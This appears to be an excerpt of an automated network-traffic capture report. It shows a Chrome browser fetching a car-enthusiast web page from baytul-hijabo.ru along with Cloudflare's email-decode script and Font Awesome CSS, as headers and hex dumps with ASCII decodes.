nofollow"> <title>Golden Age Car
2024-10-30 15:25:56 UTC	1369	IN	Data Raw: 79 3e 0d 0a 0d 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 6e 61 76 62 61 72 2d 65 78 70 61 6e 64 2d 6c 67 20 6e 61 76 62 61 72 2d 64 61 72 6b 20 62 67 2d 64 61 72 6b 20 73 74 69 63 6b 79 2d 74 6f 70 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 66 77 2d 62 6f 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 61 79 74 75 6c 2d 68 69 6a 61 62 6f 2e 72 75 2f 2f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 47 6f 6c 64 65 6e 20 41 67 65 20 43 61 72 20 45 6e 74 68 75 73 69 61 73 74 73 20 2d 20 41 75 74 6f 53 68 Data Ascii: y><nav class="navbar navbar-expand-lg navbar-dark bg-dark sticky-top"> <div class="container"> <a class="navbar-brand fw-bold" href="https://baytul-hijabo.ru//"> <i class="fas fa-car"></i> Golden Age Car Enthusiasts - AutoSh
2024-10-30 15:25:56 UTC	1369	IN	Data Raw: 69 64 2f 4f 49 50 2e 70 58 35 53 5f 75 52 78 70 35 47 47 42 41 63 35 72 34 59 56 57 67 48 61 45 4b 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 70 79 2d 35 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 64 69 73 70 6c 61 79 2d 34 20 66 77 2d 62 6f 6c 64 22 3e 44 69 73 63 6f 76 65 72 20 59 6f 75 72 20 4e 65 78 74 20 43 61 72 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6c 65 61 64 22 3e 59 6f 75 72 20 63 61 72 20 69 73 20 79 6f 75 72 20 66 72 65 65 64 6f 6d 20 6f 6e 20 66 6f 75 72 20 77 68 65 65 6c 73 2e 3c 2f 70 3e 0d 0a 20 20 20 Data Ascii: id/OIP.pX5S_uRxp5GGBAc5r4YVWgHaEK') no-repeat center; background-size: cover;"> <div class="container py-5"> <h1 class="display-4 fw-bold">Discover Your Next Car</h1> <p class="lead">Your car is your freedom on four wheels.</p>
2024-10-30 15:25:56 UTC	1369	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 27 63 61 72 64 2d 62 6f 64 79 20 74 65 78 74 2d 63 65 6e 74 65 72 27 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 62 61 79 74 75 6c 2d 68 69 6a 61 62 6f 2e 72 75 2f 2f 23 69 6e 76 65 6e 74 6f 72 79 27 20 63 6c 61 73 73 3d 27 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 20 62 74 6e 2d 73 6d 27 3e 3c 69 20 63 6c 61 73 73 3d 27 66 61 73 20 66 61 2d 69 6e 66 6f 2d 63 69 72 63 6c 65 27 3e 3c 2f 69 3e 20 56 69 65 77 20 44 65 74 61 69 6c 73 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Data Ascii: <div class='card-body text-center'> <a href='https://baytul-hijabo.ru//#inventory' class='btn btn-primary btn-sm'><i class='fas fa-info-circle'></i> View Details</a> </div> </div>
2024-10-30 15:25:56 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 77 68 69 74 65 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 20 64 69 73 70 6c 61 79 2d 36 20 66 77 2d 62 6f 6c 64 20 6d 62 2d 34 22 3e 4f 75 72 20 53 65 72 76 69 63 65 73 3c 2f 68 32 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 34 20 6d 62 2d 34 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: class="py-5 text-white" style="background-color: #333;"> <div class="container"> <h2 class="text-center display-6 fw-bold mb-4">Our Services</h2> <div class="row text-center"> <div class="col-md-4 mb-4">
2024-10-30 15:25:56 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 45 6d 61 69 6c 22 20 72 65 71 75 69 72 65 64 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 31 32 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 65 78 74 61 72 65 61 20 63 6c 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 22 20 72 6f 77 73 3d 22 34 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4d 65 73 73 61 67 65 22 20 72 65 71 Data Ascii: <div class="col-md-6"> <input type="email" class="form-control" placeholder="Email" required> </div> <div class="col-12"> <textarea class="form-control" rows="4" placeholder="Message" req
2024-10-30 15:25:56 UTC	180	IN	Data Raw: 61 73 73 3d 22 66 61 73 20 66 61 2d 65 6e 76 65 6c 6f 70 65 22 3e 3c 2f 69 3e 3c 2f 61 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: ass="fas fa-envelope"></i></a></div></footer><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script></body></html>
2024-10-30 15:25:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49757	104.21.11.102	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:56 UTC	580	OUT	GET /cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1 Host: baytul-hijabo.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://baytul-hijabo.ru// Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:56 UTC	748	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:56 GMT Content-Type: application/javascript Content-Length: 1239 Connection: close Last-Modified: Fri, 25 Oct 2024 16:48:41 GMT ETag: "671bcbe9-4d7" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9rL%2BBGSIs1oCMMPi%2BEOiaAYO9MjQbES3rckk3t4E6LyF1O8rWQYqp1sWktBcoOAQJMvpfO6XqjtX098RYcisMML5uij74Xw48xC3aKh1AHWJjlmw%2BG24PnJZ1bUhApIvBQ6F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac6bbb8d982cdb-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff Expires: Fri, 01 Nov 2024 15:25:56 GMT Cache-Control: max-age=172800 Cache-Control: public Accept-Ranges: bytes
2024-10-30 15:25:56 UTC	1239	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 74 72 79 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 29 72 65 74 75 72 6e 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 3a 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 20 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 61 20 68 72 65 66 3d 22 27 2b 65 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2b 27 22 3e 3c 2f 61 3e 27 2c 64 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 Data Ascii: !function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49759	104.17.24.14	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:25:56 UTC	578	OUT	GET /ajax/libs/font-awesome/6.5.0/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://baytul-hijabo.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:25:57 UTC	946	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 15:25:56 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"656632a7-54f3" Last-Modified: Tue, 28 Nov 2023 18:34:15 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 589715 Expires: Mon, 20 Oct 2025 15:25:56 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zYOYxZ5o2hKZeSsAy6f0RvgcFpGbfQKyMtpHIxTIAjFZmjs3X1gfAlkOYlUdKLxfNFmSa3Ci4F%2F%2F06E3cg0fK%2BZYT2ba6kspQFzoTT%2BVMRJ8ON6YGOOUhXJ6KlkhrtON0urIRrEc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8dac6bbefa2b486d-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 15:25:57 UTC	423	IN	Data Raw: 33 39 38 37 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 36 2e 35 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 33 20 46 6f 6e 74 69 63 6f 6e 73 2c 20 49 6e 63 2e 0a 20 2a 2f 0a 2e 66 61 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 76 61 72 28 2d 2d 66 61 2d 73 74 79 6c 65 Data Ascii: 3987/! Font Awesome Free 6.5.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) * Copyright 2023 Fonticons, Inc. */.fa{font-family:var(--fa-style
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 6c 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 64 69 73 70 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 64 69 73 70 6c 61 79 2c 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 29 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 7d 2e 66 61 2d 63 6c 61 73 73 69 63 2c 2e 66 61 2d 72 65 67 75 6c 61 72 2c 2e 66 61 2d 73 6f 6c 69 64 2c 2e 66 61 72 2c 2e 66 61 73 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 36 20 46 72 65 65 22 7d 2e 66 61 2d 62 72 61 6e 64 73 2c 2e 66 61 62 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a Data Ascii: le;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 6c 6c 2d 6c 65 66 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 70 75 6c 6c 2d 72 69 67 68 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 66 61 2d 70 75 6c 6c 2d 6d 61 72 67 69 6e 2c 2e 33 65 6d 29 7d 2e 66 61 2d 62 65 61 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 62 65 61 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 Data Ascii: ll-left{float:left;margin-right:var(--fa-pull-margin,.3em)}.fa-pull-right{float:right;margin-left:var(--fa-pull-margin,.3em)}.fa-beat{-webkit-animation-name:fa-beat;animation-name:fa-beat;-webkit-animation-delay:var(--fa-animation-delay,0s);animation-dela
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2c 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 32 38 2c 2e 38 34 2c 2e 34 32 2c 31 29 29 7d 2e 66 61 2d 66 61 64 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 2d 66 61 64 65 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 Data Ascii: ion-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1));animation-timing-function:var(--fa-animation-timing,cubic-bezier(.28,.84,.42,1))}.fa-fade{-webkit-animation-name:fa-fade;animation-name:fa-fade;-webkit-animation-iteration-count:va
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 2c 30 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 69 72 65 63 74 69 6f 6e 2c 6e 6f 72 6d 61 6c 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 31 73 29 3b 61 6e 69 6d 61 74 69 6f Data Ascii: -animation-delay,0s);animation-delay:var(--fa-animation-delay,0s);-webkit-animation-direction:var(--fa-animation-direction,normal);animation-direction:var(--fa-animation-direction,normal);-webkit-animation-duration:var(--fa-animation-duration,1s);animatio
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 2c 32 73 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 3a 76 61 72 28 2d 2d 66 61 2d 61 6e 69 6d 61 74 69 6f 6e 2d 69 74 65 72 61 74 69 6f 6e 2d 63 6f 75 6e 74 2c 69 6e 66 69 6e 69 74 65 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 Data Ascii: var(--fa-animation-duration,2s);animation-duration:var(--fa-animation-duration,2s);-webkit-animation-iteration-count:var(--fa-animation-iteration-count,infinite);animation-iteration-count:var(--fa-animation-iteration-count,infinite);-webkit-animation-timi
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 30 73 7d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 73 63 61 6c 65 2c 31 2e 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 7b 30 25 2c 39 30 25 7b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: tion-duration:0s;transition-duration:0s}}@-webkit-keyframes fa-beat{0%,90%{-webkit-transform:scale(1);transform:scale(1)}45%{-webkit-transform:scale(var(--fa-beat-scale,1.25));transform:scale(var(--fa-beat-scale,1.25))}}@keyframes fa-beat{0%,90%{-webkit-t
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 6f 75 6e 63 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 7d 31 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 6f 75 6e 63 65 2d 73 Data Ascii: ;transform:scale(1) translateY(0)}to{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}}@keyframes fa-bounce{0%{-webkit-transform:scale(1) translateY(0);transform:scale(1) translateY(0)}10%{-webkit-transform:scale(var(--fa-bounce-s
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 74 79 2c 2e 34 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 35 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 73 63 61 6c 65 2c 31 2e 31 32 35 29 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 62 65 61 74 2d 66 61 64 65 7b 30 25 2c 74 6f 7b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 66 61 2d 62 65 61 74 2d 66 61 64 65 2d 6f 70 61 63 69 Data Ascii: -fa-beat-fade-opacity,.4);-webkit-transform:scale(1);transform:scale(1)}50%{opacity:1;-webkit-transform:scale(var(--fa-beat-fade-scale,1.125));transform:scale(var(--fa-beat-fade-scale,1.125))}}@keyframes fa-beat-fade{0%,to{opacity:var(--fa-beat-fade-opaci
2024-10-30 15:25:57 UTC	1369	IN	Data Raw: 6d 3a 72 6f 74 61 74 65 28 2d 31 32 64 65 67 29 7d 33 36 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 64 65 67 29 7d 34 30 25 2c 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 2d 73 68 61 6b 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 31 35 64 65 67 29 7d 34 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 35 64 65 67 29 3b Data Ascii: m:rotate(-12deg)}36%{-webkit-transform:rotate(12deg);transform:rotate(12deg)}40%,to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes fa-shake{0%{-webkit-transform:rotate(-15deg);transform:rotate(-15deg)}4%{-webkit-transform:rotate(15deg);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49758	151.101.129.229	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
